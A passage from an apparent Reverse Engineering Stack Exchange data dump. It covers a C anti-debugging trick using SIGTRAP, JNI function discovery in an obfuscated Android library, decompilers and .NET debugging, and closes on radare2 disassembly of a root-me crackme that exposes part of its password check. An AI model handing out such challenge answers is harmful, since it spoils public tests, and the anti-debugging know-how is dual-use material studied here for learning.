        "Answer": "<blockquote>\n  <p>First, am I right to think that the purpose of this is to create a\n  handler for the SIGTRAP signal, probably in order to prevent any\n  debuger use</p>\n</blockquote>\n\n<p>When a SIGTRAP is raised, normally the handler given in parameter of <code>signal</code> is called. If you have a debugger attached, this function will not get called.\nIf your handler is never called, you can assume a debugger is attached.</p>\n\n<p>Here is a simple example:</p>\n\n<pre><code>#include &lt;signal.h&gt;\n#include &lt;stdio.h&gt;\n\nvoid on_trap(int n)\n{\n        puts(\"on_trap\");\n}\n\nvoid callme(void)\n{\n        puts(\"hello\");\n        __asm__ volatile(\"int $0x03\");\n        puts(\"bye\");\n}\n\nint main(void)\n{\n        signal(SIGTRAP, on_trap);\n        callme();\n        return 0;\n}\n</code></pre>\n\n<p>Normal run:</p>\n\n<pre><code>$ ./antidebug\nhello\non_trap\nbye\n</code></pre>\n\n<p>With gdb:</p>\n\n<pre><code>gdb -q antidebug\nReading symbols from antidebug...(no debugging symbols found)...done.\n(gdb) r\nStarting program: /tmp/antidebug\nhello\n\nProgram received signal SIGTRAP, Trace/breakpoint trap.\n0x0000000008001174 in callme ()\n(gdb) c\nContinuing.\nbye\n</code></pre>\n\n<blockquote>\n  <p>Second, if this is creating a SIGTRAP handler, I should find a\n  __sighandler_t at sub_80480E2, according to this x86 syscall table. How can I setup IDA so that it recognizes it as a __sighandler_t\n  struct?</p>\n</blockquote>\n\n<p>sighandler_t is a typedef for a function pointer, not a structure.\nIf you want to define a memory area as a structure, you can use the shortcut <code>ALT+Q</code>.</p>\n\n<blockquote>\n  <p>Third, I could not find any detailed information about this structure.\n  What is its composition?</p>\n</blockquote>\n\n<p><code>sub_80480E2</code> contains code, as mentioned this is not a structure but a function pointer.\nImagine you have the syscall <code>sigaction</code> instead, you can simply check the <a href=\"http://man7.org/linux/man-pages/man2/sigaction.2.html\" rel=\"nofollow noreferrer\">man page</a> to see the structure definition.\nBut IDA Pro has most of structures definition from standard libraries.</p>\n\n<blockquote>\n  <p>Is __sighandler_t only a ptr to a function?</p>\n</blockquote>\n\n<p>Yes.</p>\n"
    },
    {
        "Id": "20217",
        "CreationDate": "2018-12-28T17:17:40.393",
        "Body": "<p>So i googled this but other than some papers i couldnt find any reverse engineering tool that was built using machine learning</p>\n\n<p>I'm not an expert in machine learning and deep learning but it seems rational to think that considering we have billions of open source codes out there, we can use them so our \"machine\" can learn how the assembly and executable of these codes look like and just study on them, mastering the art of reversing, and therefore building a tool this way that can reverse any given program with a great accuracy </p>\n\n<p>Now is this doable or am i missing something here? is there any tool built this way or on its way to coming out? what are your thoughts on this? is better reversing tool even needed or is there  already a great reversing tool that can do the job with the best accuracy possible? </p>\n",
        "Title": "Can Machine Learning be used to develop better reverse engineering tools?",
        "Tags": "|disassembly|tools|disassemblers|machine-code|",
        "Answer": "<blockquote>\n  <p>we can use them so our \"machine\" can learn how the assembly and\n  executable of these codes look like and just study on them, mastering\n  the art of reversing, and therefore building a tool this way that can\n  reverse any given program with a great accuracy</p>\n</blockquote>\n\n<p>This is a pipe dream for several reasons:</p>\n\n<ol>\n<li><p>Reliably differentiating between code and data in an executable binary is an undecidable problem. Data can be embedded in code, and the same sequence of bytes may be disassembled in different ways. Furthermore, code may be self-modifying. See </p>\n\n<ul>\n<li><a href=\"https://reverseengineering.stackexchange.com/questions/2580/why-is-disassembly-not-an-exact-science\">Why is disassembly not an exact science?</a></li>\n<li><a href=\"https://reverseengineering.stackexchange.com/questions/8328/soundness-of-arm-disassembly\">Soundness of ARM disassembly</a></li>\n</ul></li>\n<li><p>Function start detection in stripped binaries is an undecidable problem.</p>\n\n<ul>\n<li><a href=\"https://binary.ninja/2017/11/06/architecture-agnostic-function-detection-in-binaries.html\" rel=\"nofollow noreferrer\">Architecture Agnostic Function Detection in Binaries</a></li>\n</ul></li>\n<li><p>Compilation is a lossy process, particularly when optimization takes place. Therefore decompilation cannot be fully automated and requires human decision making.</p>\n\n<ul>\n<li><blockquote>\n  <p>Certainly, full automatic decompilation of arbitrary machine-code\n  programs is not possible, it is an undecidable problem like most\n  problems of program transformation. So, from the point of view of\n  theory no algorithm exists for  decompilation of all possible\n  programs. However, this (obvious) answer has no practical importance \u2014\n  many problems are undecidable or NP-complete yet there exist\n  algorithms giving precise or approximate solutions for practical\n  important cases. Thus the challenges of decompilation are in\n  identification of subclasses of low-level programs and developing\n  methods and algorithms targeted for these particular classes. The\n  methods may even ask a human expert for help at key points. [ 1 ]</p>\n</blockquote></li>\n<li><blockquote>\n  <p>Certainly, fully automated decompilation of arbitrary machine-code programs is not possible -- this problem is theoretically equivalent to the Halting Problem, an undecidable problem in Computer Science. What this means is that automatic (no expert intervention) decompilation cannot be achieved for all possible programs that are ever written. Further, even if a certain degree of success is achieved, the automatically generated program will probably lack meaningful variable and function names as these are not normally stored in an executable file (except when stored for debugging purposes). [ 2 ]</p>\n</blockquote></li>\n<li><a href=\"https://softwareengineering.stackexchange.com/questions/229761/why-cant-native-machine-code-be-easily-decompiled\">Why can't native machine code be easily decompiled?</a></li>\n</ul></li>\n<li><p>Machine learning - in this case, supervised learning - can simplistically be thought of  as using algorithms to construct models from data, and the constructed model is then used for prediction or classification. When we say that an algorithm is is learning from data, it means that an algorithm is building a mathematical model by optimizing a loss function for the given data. There is no mind, no thought, no thinking machine. Algorithms do not look at anything, nor do they study anything.</p></li>\n</ol>\n\n<p><hr>\n1) <a href=\"https://pdfs.semanticscholar.org/541d/cc3c558d8e53377886bc755f693d9fe2a582.pdf\" rel=\"nofollow noreferrer\">C Decompilation: Is It Possible?</a></p>\n\n<p>2) <a href=\"http://www.program-transformation.org/Transform/DecompilationPossible\" rel=\"nofollow noreferrer\">Is Decompilation Possible?</a></p>\n"
    },
    {
        "Id": "20219",
        "CreationDate": "2018-12-28T21:11:40.220",
        "Body": "<p>I am going to start by saying that this is my fourth attempt at reverse engineering a crackme and I'm starting to understand how assembly works, which is cool. I am sorry if this question is wrong or if I used the wrong terminology.</p>\n\n<p>I am reversing a mach-0 binary with IDA. When I examine it, I find that there are hundreds of functions with weird names, like this</p>\n\n<pre><code>j___ZNSt3__1plIcNS_11char_traitsIcEENS_9allocatorIcEEEENS_12basic_stringIT_T0_T1_EEPKS6_RKS9_\n</code></pre>\n\n<p>Now, this doesn't look like pure junk. From it I can 'extract' the following: char_traits, allocator, basic_string.</p>\n\n<p>Apparently it does something with strings, as before there are the following instructions:</p>\n\n<pre><code>lea rsi, goodWork ; \"Good work!\"\nlea rdx, _cido ; _cido in IDA is shown to do -&gt; and [rax], eax ; I have no idea what that means\nlea rdi, [rbp+var] ; the only occurrence of var before is at the start -&gt; var = qword ptr - 1C0H ; as always, no idea of what is this\ncall to_the_function_I_wrote_before\njmp $+5\n</code></pre>\n\n<p>Is there a technique/way of knowing whatever this function does?</p>\n\n<p>EDIT:</p>\n\n<p>This has been flagged as a duplicate. It's not. The question you've linked only demangles the function name, which is a thing that IDA automatically does.</p>\n\n<p>I need to understand whatever the hell this function does. The demangled function name is to me as helpful as the mangled one. I don't get it. I need a bit of guidance with that.</p>\n",
        "Title": "How do I interpret the mangled functions name?",
        "Tags": "|binary-analysis|",
        "Answer": "<p>This is actually quite a straightforward C++ string function. It's just that, behind the scenes, the C++ <code>std::string</code> class is actually a typedef of a template.</p>\n\n<pre><code>typedef basic_string&lt;char&gt; string;\n</code></pre>\n\n<p>basic_string itself is declared as -</p>\n\n<pre><code>template&lt; class CharT, \n          class Traits = std::char_traits&lt;CharT&gt;, \n          class Allocator = std::allocator&lt;CharT&gt;\n        &gt; class basic_string;\n</code></pre>\n\n<p>In other words, a <code>std::string</code> is really a -</p>\n\n<pre><code>std::basic_string&lt; char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt;\n</code></pre>\n\n<p>Applying this in reverse to your mangled name and (and removing the __1's - see below) your function is simply the standard library string function - </p>\n\n<pre><code>std::string operator+( char const* lhs, std::string const&amp; rhs )\n</code></pre>\n\n<p>This concatenates a C style string and a std::string, returning the result as a new std::string.</p>\n\n<p>This function is called from x86-64 assembly language as follows -</p>\n\n<ul>\n<li><code>rdi</code> is a pointer to caller allocated memory for the returned std::string</li>\n<li><code>rsi</code> is the first argument and hence a pointer to a C style (zero terminated) string</li>\n<li><code>rdx</code> is the second argument and hence a reference (or pointer is assembly language terms) to a C++ std::string</li>\n</ul>\n\n<p>Details on calling convention can be found here <a href=\"https://software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf\" rel=\"noreferrer\">AMD64 ABI</a></p>\n\n<hr>\n\n<p>In the above, I've ignored the __1 parts of the symbol. For details on where these come from see the following questions:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/29293394/where-does-the-1-symbol-come-from-when-using-llvms-libc\">Where does the __1 come from when using LLVM's libc++</a> </li>\n<li><a href=\"https://stackoverflow.com/questions/11016220/what-are-inline-namespaces-for\">What are inline namespaces for?</a> </li>\n</ul>\n"
    },
    {
        "Id": "20220",
        "CreationDate": "2018-12-29T01:09:53.537",
        "Body": "<p>Im currently reverse engineering an android app and this app calls a function named \"getUserInfo\" in an <strong>ARM 32bit ELF library</strong> called <a href=\"https://download1494.mediafire.com/3p93kb4d39mg/6uutljplmxnsxvn/libcms.so\" rel=\"nofollow noreferrer\">\"libcms.so\"</a> (from TikTok) via the <a href=\"https://www.baeldung.com/jni\" rel=\"nofollow noreferrer\">Java Native Interface</a>.</p>\n\n<p>My Problem is: The function cant be found with <code>readelf --syms libcms.so</code> or <code>readelf --dyn-syms libcms.so</code> because libcms.so is stripped and the funtion is not contained in the symbol table.</p>\n\n<p>The app can call this function, so i know the function is there. How can i find the hex location of the function?</p>\n",
        "Title": "Find function in a stripped dynamic ELF library",
        "Tags": "|android|arm|elf|java|symbols|",
        "Answer": "<p>There're two broad ways in which you can declare <code>JNI</code> functions. </p>\n\n<p>The first is the more obvious way in which the <code>JNI</code> function has to follow a specific naming convention like <code>JNIEXPORT void JNICALL Java_com_app_foo_bar</code>. You can easily identify such functions using <code>readelf</code>.</p>\n\n<p>The other not so obvious way is to use <code>RegisterNatives</code>. Here your functions can have any signature and further they not need be exported from the shared library. Typically, you would call <code>RegisterNatives</code> from <code>JNI_OnLoad</code> to register the native functions to the Java Run-time.</p>\n\n<p>For your binary <code>libcms.so</code>, it uses the second method.</p>\n\n<p><code>RegisterNatives</code> has the following prototype</p>\n\n<pre><code>jint RegisterNatives(JNIEnv *env, jclass clazz, const JNINativeMethod *methods, jint Methods);\n</code></pre>\n\n<p>If you analyze the code of <code>JNI_OnLoad</code> you will come across <code>RegisterNatives</code> call like below.</p>\n\n<p><a href=\"https://i.stack.imgur.com/0vbAK.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/0vbAK.png\" alt=\"enter image description here\"></a></p>\n\n<p>The third argument points to an array of <code>JNINativeMethod</code> structures which is declared as</p>\n\n<pre><code>typedef struct {\n    char *name; \n    char *signature;\n    void *fnPtr;\n} JNINativeMethod;\n</code></pre>\n\n<p>The first member is a pointer to a null terminated string denoting the function name. However, in your case all the names and signatures are encrypted.</p>\n\n<p><a href=\"https://i.stack.imgur.com/Kyyh5.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Kyyh5.png\" alt=\"enter image description here\"></a>\n<a href=\"https://i.stack.imgur.com/dkmEL.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/dkmEL.png\" alt=\"enter image description here\"></a></p>\n\n<p>These are decrypted at run-time by the <code>.datadiv_decodeXXXXXXXX</code> family of functions. The <code>.init_array</code> section contain pointers to these decryptor functions which implies they will be called at startup.</p>\n\n<p><a href=\"https://i.stack.imgur.com/02J4L.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/02J4L.png\" alt=\"enter image description here\"></a></p>\n\n<p>However, that is not all. The binary also employs <a href=\"https://reverseengineering.stackexchange.com/questions/2221/what-is-a-control-flow-flattening-obfuscation-technique\">Control Flow Flattening</a> Obfuscation throughout, hence the execution path may not be easily discernible as shown below.</p>\n\n<p><a href=\"https://i.stack.imgur.com/SgpWR.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/SgpWR.png\" alt=\"enter image description here\"></a></p>\n\n<p>To analyze the binary you're better off resorting to dynamic analysis techniques using a tool such as <a href=\"https://www.frida.re/\" rel=\"noreferrer\">Frida</a>.</p>\n\n<p><strong>Further Read:</strong></p>\n\n<ul>\n<li><a href=\"https://developer.android.com/training/articles/perf-jni#native-libraries\" rel=\"noreferrer\">https://developer.android.com/training/articles/perf-jni#native-libraries</a></li>\n<li><a href=\"https://reverseengineering.stackexchange.com/questions/19024/finding-registernatives-function-calls-in-jni-onloads-assembly-code\">Finding RegisterNatives function calls in JNI_OnLoad&#39;s assembly code</a></li>\n<li><a href=\"https://stackoverflow.com/questions/13509961/which-method-eventually-calls-jni-onload\">https://stackoverflow.com/questions/13509961/which-method-eventually-calls-jni-onload</a></li>\n<li><a href=\"https://stackoverflow.com/questions/51811348/find-manually-registered-obfuscated-native-function-address\">https://stackoverflow.com/questions/51811348/find-manually-registered-obfuscated-native-function-address</a></li>\n<li><a href=\"https://stackoverflow.com/questions/1010645/what-does-the-registernatives-method-do\">https://stackoverflow.com/questions/1010645/what-does-the-registernatives-method-do</a></li>\n<li><a href=\"https://reverseengineering.stackexchange.com/questions/6285/how-to-recover-information-stored-in-ctors-section\">How to recover information stored in .ctors section?</a></li>\n</ul>\n"
    },
    {
        "Id": "20226",
        "CreationDate": "2018-12-29T19:44:39.703",
        "Body": "<p>What are the options to decompile ARM (iOS) to Objective-C using IDA?</p>\n\n<p>I've been looking into the REobjc module (<a href=\"https://github.com/duo-labs/idapython\" rel=\"nofollow noreferrer\">https://github.com/duo-labs/idapython</a>), but it can only handle x64 code.</p>\n\n<p>Are there other plugins that may decompile the ARM?</p>\n",
        "Title": "How to decompile ARM (iOS) to Objective-C using IDA?",
        "Tags": "|ida|",
        "Answer": "<p>Hexrays <a href=\"https://www.hex-rays.com/cgi-bin/quote.cgi\" rel=\"nofollow noreferrer\">sells</a> a <a href=\"https://www.hex-rays.com/products/decompiler/index.shtml\" rel=\"nofollow noreferrer\">decompiler plugin for IDA Pro</a>.  If you have a supported (purchased or renewed within the last year) version of IDA Pro, then you can purchase one of the ARM decompiler plugins.</p>\n\n<p>I have not tried the following, but have heard of them (so add a comment about how well it works if you do try one!)...</p>\n\n<p>There's the opensource <a href=\"https://github.com/yegord/snowman\" rel=\"nofollow noreferrer\">snowman decompiler</a>.  It has been around for a few years now.  Its website says it supports ARM and is available for radare2, x64dbg, multiple versions of IDA Pro, and as a standalone application.</p>\n\n<p>Another opensource one is <a href=\"https://github.com/avast-tl/retdec\" rel=\"nofollow noreferrer\">RetDec</a>.  Looks like it was just released late last year, but is from a well regarded AV company (Avast) and supposedly has been in development and use privately for several years.</p>\n\n<p>I've also heard of the commercial <a href=\"https://www.hopperapp.com/\" rel=\"nofollow noreferrer\">Hopper</a> product, which specializes in macOS executables, but not sure how good the built-in decompiler is.</p>\n"
    },
    {
        "Id": "20238",
        "CreationDate": "2018-12-30T13:30:59.620",
        "Body": "<p>I was going to debug something but I see IDA 6.8 + hexrays doesn't show the debugger tab in the menu for some .exe files.</p>\n\n<p>This is an example when I didn't load any .exe:\n<a href=\"https://i.stack.imgur.com/pB73k.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pB73k.png\" alt=\"enter image description here\"></a></p>\n\n<p>This is another example when I'm loading the .exe I want to debug:\n<a href=\"https://i.stack.imgur.com/4SNve.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4SNve.png\" alt=\"enter image description here\"></a></p>\n\n<p>How can I debug this .exe? Maybe with a plugin for .net assembly?</p>\n",
        "Title": "Can't find debugger in IDA PRO menu",
        "Tags": "|ida|debugging|idapro-sdk|ida-plugin|",
        "Answer": "<p>IDA does not support debugging .NET binaries or more specifically the <a href=\"https://en.wikipedia.org/wiki/Common_Intermediate_Language\" rel=\"nofollow noreferrer\">CIL</a> bytecode. To debug managed code you can use WinDbg with the SOS debugging extension (<a href=\"https://docs.microsoft.com/en-us/dotnet/framework/tools/sos-dll-sos-debugging-extension\" rel=\"nofollow noreferrer\">SOS.dll</a>).</p>\n\n<p>You can also use <a href=\"https://github.com/0xd4d/dnSpy\" rel=\"nofollow noreferrer\">dnSpy</a> which in addition is able to use the decompiled code for debugging make the experience similar to debugging with source code.</p>\n"
    },
    {
        "Id": "20253",
        "CreationDate": "2019-01-01T20:21:27.390",
        "Body": "<p>In <a href=\"https://www.hybrid-analysis.com/sample/057c9d88e7206f6669a4615de2c6e02ab6c4e2d570a9e2badf07fe0bd6247274/5c265c3f7ca3e17440781603\" rel=\"nofollow noreferrer\">this analysis</a> of a Portable Executable linked using <em>Microsoft Linker (6.0)</em>, down in the Imported Objects section, the website makes some very specific claims:</p>\n\n<pre><code>3 .OBJ Files (COFF) linked with LINK.EXE 5.12 (Visual Studio 5 SP2) (build: 9049)\n4 .OBJ Files (COFF) linked with LINK.EXE 6.00 (Visual Studio 6) (build: 8168)\n178 .C Files compiled with CL.EXE 12.00 (Visual Studio 6) (build: 8168)\n26 .CPP Files compiled with CL.EXE 12.00 (Visual Studio 6) (build: 8168)\n41 .ASM Files assembled with MASM 6.13 (Visual Studio 6 SP1) (build: 7299)\n12 .OBJ Files linked with ALIASOBJ.EXE 6.00 (Internal OLDNAMES.LIB Tool) (build: 7291)\n</code></pre>\n\n<p>As far as I know, all debug information is stripped from the executable, and there certainly aren't 178 embedded ascii strings ending in \".C\".</p>\n\n<p>The sections in the PE are the usual .text, .rdata, .data, .rsrc.</p>\n\n<p>What type of additional information or metadata in the EXE could be used to make guesses about the original object files?</p>\n",
        "Title": "How to determine number and/or boundaries of linked object files in a PE generated by Visual Studio 6?",
        "Tags": "|binary-analysis|pe|",
        "Answer": "<p>My guess is that the website is parsing the Rich Signature (see <a href=\"https://www.ntcore.com/files/richsign.htm\" rel=\"nofollow noreferrer\">https://www.ntcore.com/files/richsign.htm</a> for analysis and details).  There is a shorter description <a href=\"https://github.com/dishather/richprint\" rel=\"nofollow noreferrer\">here</a>.  Basically, Microsoft's linkers add some info that can be used to infer that information.</p>\n"
    },
    {
        "Id": "20262",
        "CreationDate": "2019-01-02T12:20:04.090",
        "Body": "<p>I am trying to learn how to use IDA Pro 6.8 to analyze binaries. However, there are much more functions in ida function list than my code. For example, there is a function in source code that calls four callee functions, two global functions and two public function of a class. But, in ida, it has more than ten callees, if I print the <code>line.points.size()</code>. It is recognized as a function in ida. line is my class, points is a vector variable of line. The function in ida is named <code>std::vector&lt;std::vector&lt;Point *,std::allocator&lt;Point *&gt;&gt;,std::allocator&lt;std::vector&lt;Point *,std::allocator&lt;Point *&gt;&gt;&gt;&gt;::size(void)</code>. So it caused that the number of callee is not equal to the number in source. Why are there so much more functions that are not defined as function in my source? How can I recognize which function in ida is the function I define and which one is added by ida?</p>\n",
        "Title": "Why are there so much more functions in ida than my source code?",
        "Tags": "|ida|disassembly|c++|c|",
        "Answer": "<p>A compiler has to translate the language that you know (C++) to the language that the computer knows.  A linker then links together your code with referenced libraries and creates an executable.  In order to turn it back into a form that you can read, IDA reads the computer's language and translates it into a disassembly.  Both compilation and disassembly are complicated processes.  <a href=\"https://reverseengineering.stackexchange.com/questions/2580/why-is-disassembly-not-an-exact-science\">Disassembly itself is a hard problem</a>, including function identification and boundary detection.  In addition to inaccuracies in the disassembly process, the executable building process does several things.</p>\n\n<p>First, your source code is translated into machine code, and all modern compilers have various heuristics and rules they use to optimize the code.  Take a look at the <a href=\"https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html\" rel=\"nofollow noreferrer\">docs for gcc</a> and the <a href=\"https://docs.microsoft.com/en-us/cpp/build/reference/ox-full-optimization?view=vs-2017\" rel=\"nofollow noreferrer\">docs for Visual Studio</a>.  Sometimes this means decreasing the number of functions (for example, inlining), and sometimes it means increasing (for example, thunks).</p>\n\n<p>Second, either implicitly or explicitly, your source code is referencing lots of other source code, with includes, and includes within those included files, and includes within those included files... some of which cause the linker to dynamically link (add references to) libraries, and some of which cause the linker to statically link (copy and append to your code) those libraries.</p>\n"
    },
    {
        "Id": "20278",
        "CreationDate": "2019-01-04T09:58:50.887",
        "Body": "<p>While learning RE I have come across this large segment of instructions that contains a majority of <code>mov [ebp+offset], value</code> instructions. I believe that <code>ebp + offset</code> are local variables? I think? Could it really just be <strong>a lot</strong> of local variables? Or could it actually be a data structure and this is how IDA represents it? I have a theory of what this might be but if anyone knows what this could mean that would be sweet.</p>\n<p>Here's a screenshot:\n<a href=\"https://i.stack.imgur.com/DAaHF.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DAaHF.png\" alt=\"instructions\" /></a></p>\n<p>My guess is this is actually a data structure. <code>ebp</code> is the base address of the structure. The <code>mov</code> instructions between the <code>mov [...], offset value</code> are padding bytes. I'm guessing they are just padding bytes since <code>esi</code> doesn't contain a value (it was <code>xor</code>-ed with itself at the top of the screenshot) and is <code>mov</code>'d <code>epb + offset</code> quite a lot in this block.</p>\n<p>Any ideas and advice on what is happening in this screenshot would be appreciated. Thanks.</p>\n",
        "Title": "Lots of mov instructions into ebp+offset - What is happening?",
        "Tags": "|disassembly|assembly|binary-analysis|x86|",
        "Answer": "<p>Data structures (<code>struct</code>s, <code>union</code>s, <code>class</code>es, etc) are higher level elements that completely disappear after the compilation step takes place. Meaning that the concepts themselves are completely invisible in the binary. Of course, certain code patterns may still suggest or imply that a data structure was present in the code, there are no assembly equivalent (nor one is needed) to the <code>struct</code>, <code>union</code> or <code>class</code> keywords.</p>\n\n<p>After providing the above context, I'll address the specific questions and statements you've made throughout the question:</p>\n\n<blockquote>\n  <p>I believe that <code>ebp + offset</code> are local variables?</p>\n</blockquote>\n\n<p>You accurately understand that <code>ebp</code> is used to reference the stack and that therefore any <code>ebp</code> based reference is probably a reference to a stack-based variable. </p>\n\n<blockquote>\n  <p>Could it really just be tonnes of local variables?</p>\n</blockquote>\n\n<p>It could. However as I've explained in the first paragraph it is impossible to <em>know for sure</em> whether the original source code had a lot of local variables or a single, a few, or maybe even nested structures. </p>\n\n<p>It is however, unnecessary (unless your goal is to reach binary identical code reconstruction) to specifically use the same constructs used in the original code. If your goal is to gain a decent understanding of the code, you should feel free to implement those data structures as you see fit and will be the most intuitive representation for you. You should rely on IDA's structure definitions you make the assembly code as readable to you as possible, without putting too much thought as to how the original source code was written.</p>\n\n<blockquote>\n  <p>Or could it actually be a data structure and this is how IDA is representing it?</p>\n</blockquote>\n\n<p>Therefore, this is not how \"IDA represents it\", but how any compiler will translate the code to assembly. IDA just helps with an interactive interface to the disassembled machine code.</p>\n\n<blockquote>\n  <p><code>ebp</code> is the base address of the structure</p>\n</blockquote>\n\n<p>As the function starts with a rather standard <code>mov ebp, esp / sub esp, IMM</code> it is unlikely that <code>ebp</code> itself points to a structure. It points to the stack offset at where a new stack frame was created. This is a very common practice. It is very likely, however, that a structure begins at a certain offset on the stack, and <code>ebp</code> is used to reference it, using the offset from the start of the stack frame.  </p>\n\n<blockquote>\n  <p>The <code>mov</code> instructions between the <code>mov [...], offset value</code> are padding bytes</p>\n</blockquote>\n\n<p>Assuming you're talking about the <code>mov, REG, IMM</code> instructions, these are probably register initializations that are used further down the line. They are spread between the stack-based <code>mov</code> instructions for performance reasons. To oversimplify, pipeline optimizations allow modern processors to assign register values somewhat in parallel to slower RAM write operations, resulting in an overall faster execution.</p>\n\n<blockquote>\n  <p>I'm guessing they are just padding bytes since <code>esi</code> doesn't contain a value (it was <code>xor</code> at the top of the screenshot) and is <code>mov ebp + offset</code> quite a lot in this block.</p>\n</blockquote>\n\n<p>The <code>esi</code> register <em>does</em> contain a value, that value is simply zero. <code>xor</code>ing a register with itself is a common way to set it to zero, which is shorter than a <code>mov REG, 0</code> instruction to encode. Additionally, <code>mov OFFSET, REG</code> is shorter than <code>mov OFFSET, 0</code>, so overall the compiler saves us a few bytes of code.</p>\n"
    },
    {
        "Id": "20284",
        "CreationDate": "2019-01-04T20:01:52.607",
        "Body": "<p>I am doing <a href=\"https://www.root-me.org/fr/Challenges/Cracking/PE-0-protection\" rel=\"nofollow noreferrer\">this reverse engenering challenge</a>. I executed theses commands to analyse the main function :</p>\n\n<pre><code>radare2.exe ch15.exe\naaa\ns main\npdf\n</code></pre>\n\n<p>This is the output of the <em>pdf</em> command :</p>\n\n<pre><code>[0x004017b8]&gt; pdf\n/ (fcn) main 80\n|   main (int argc, char **argv, char **envp);\n|           ; arg signed int arg_8h @ ebp+0x8\n|           ; arg char **s @ ebp+0xc\n|           ; var size_t local_4h @ esp+0x4\n|           ; CALL XREF from section..text (+0x3f4)\n|           0x004017b8      55             push ebp\n|           0x004017b9      89e5           mov ebp, esp\n|           0x004017bb      83e4f0         and esp, 0xfffffff0\n|           0x004017be      83ec10         sub esp, 0x10\n|           0x004017c1      e87a0d0000     call fcn.00402540\n|           0x004017c6      837d0801       cmp dword [arg_8h], 1       ; [0x8:4]=-1 ; 1\n|       ,=&lt; 0x004017ca      7e28           jle 0x4017f4\n|       |   0x004017cc      8b450c         mov eax, dword [s]          ; [0xc:4]=-1 ; 12\n|       |   0x004017cf      83c004         add eax, 4\n|       |   0x004017d2      8b00           mov eax, dword [eax]\n|       |   0x004017d4      890424         mov dword [esp], eax        ; const char *s\n|       |   0x004017d7      e894100000     call sub.msvcrt.dll_strlen_870 ; size_t strlen(const char *s)\n|       |   0x004017dc      89c2           mov edx, eax\n|       |   0x004017de      8b450c         mov eax, dword [s]          ; [0xc:4]=-1 ; 12\n|       |   0x004017e1      83c004         add eax, 4\n|       |   0x004017e4      8b00           mov eax, dword [eax]\n|       |   0x004017e6      89542404       mov dword [local_4h], edx\n|       |   0x004017ea      890424         mov dword [esp], eax\n|       |   0x004017ed      e834ffffff     call sub.Gratz_man_:_726    ; sub.Usage:__s_pass_700+0x26\n|      ,==&lt; 0x004017f2      eb0d           jmp 0x401801\n|      ||   ; CODE XREF from main (0x4017ca)\n|      |`-&gt; 0x004017f4      8b450c         mov eax, dword [s]          ; [0xc:4]=-1 ; 12\n|      |    0x004017f7      8b00           mov eax, dword [eax]\n|      |    0x004017f9      890424         mov dword [esp], eax\n|      |    0x004017fc      e8fffeffff     call sub.Usage:__s_pass_700\n|      |    ; CODE XREF from main (0x4017f2)\n|      `--&gt; 0x00401801      b800000000     mov eax, 0\n|           0x00401806      c9             leave\n\\           0x00401807      c3             ret\n[0x004017b8]&gt;\n</code></pre>\n\n<p>I can see that a function is called named <em>sub.Usage:__s_pass_700</em>, probably the password. I go to this function with this command :</p>\n\n<pre><code>s sub.Usage:__s_pass_700\npdf\n</code></pre>\n\n<p>The output is :</p>\n\n<pre><code>[0x00401700]&gt; pdf\n/ (fcn) sub.Usage:__s_pass_700 184\n|   sub.Usage:__s_pass_700 (int arg_8h, unsigned int arg_ch);\n|           ; var int local_ch @ ebp-0xc\n|           ; arg int arg_8h @ ebp+0x8\n|           ; arg unsigned int arg_ch @ ebp+0xc\n|           ; var int local_4h @ esp+0x4\n|           ; CALL XREF from main (0x4017fc)\n|           0x00401700      55             push ebp\n|           0x00401701      89e5           mov ebp, esp\n|           0x00401703      83ec18         sub esp, 0x18\n|           0x00401706      b844404000     mov eax, str.Usage:__s_pass ; 0x404044 ; \"Usage: %s pass\"\n|           0x0040170b      8b5508         mov edx, dword [arg_8h]     ; [0x8:4]=-1 ; 8\n|           0x0040170e      89542404       mov dword [local_4h], edx\n|           0x00401712      890424         mov dword [esp], eax        ; const char *format\n|           0x00401715      e896110000     call sub.msvcrt.dll_printf_8b0 ; int printf(const char *format)\n|           0x0040171a      c70424000000.  mov dword [esp], 0\n|           0x00401721      e87a110000     call sub.msvcrt.dll_exit_8a0\n|           ;-- sub.Gratz_man_:_726:\n|           ; CALL XREF from main (0x4017ed)\n|           0x00401726      55             push ebp\n|           0x00401727      89e5           mov ebp, esp\n|           0x00401729      83ec28         sub esp, 0x28               ; '('\n|           0x0040172c      c745f4000000.  mov dword [local_ch], 0\n|           0x00401733      837d0c07       cmp dword [arg_ch], 7       ; [0xc:4]=-1 ; 7\n|       ,=&lt; 0x00401737      7571           jne 0x4017aa\n|       |   0x00401739      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8\n|       |   0x0040173c      0fb600         movzx eax, byte [eax]\n|       |   0x0040173f      3c53           cmp al, 0x53                ; 'S' ; 83\n|      ,==&lt; 0x00401741      7567           jne 0x4017aa\n|      ||   0x00401743      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8\n|      ||   0x00401746      83c001         add eax, 1\n|      ||   0x00401749      0fb600         movzx eax, byte [eax]\n|      ||   0x0040174c      3c50           cmp al, 0x50                ; 'P' ; 80\n|     ,===&lt; 0x0040174e      755a           jne 0x4017aa\n|     |||   0x00401750      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8\n|     |||   0x00401753      83c002         add eax, 2\n|     |||   0x00401756      0fb600         movzx eax, byte [eax]\n|     |||   0x00401759      3c61           cmp al, 0x61                ; 'a' ; 97\n|    ,====&lt; 0x0040175b      754d           jne 0x4017aa\n|    ||||   0x0040175d      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8\n|    ||||   0x00401760      83c003         add eax, 3\n|    ||||   0x00401763      0fb600         movzx eax, byte [eax]\n|    ||||   0x00401766      3c43           cmp al, 0x43                ; 'C' ; 67\n|   ,=====&lt; 0x00401768      7540           jne 0x4017aa\n|   |||||   0x0040176a      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8\n|   |||||   0x0040176d      83c004         add eax, 4\n|   |||||   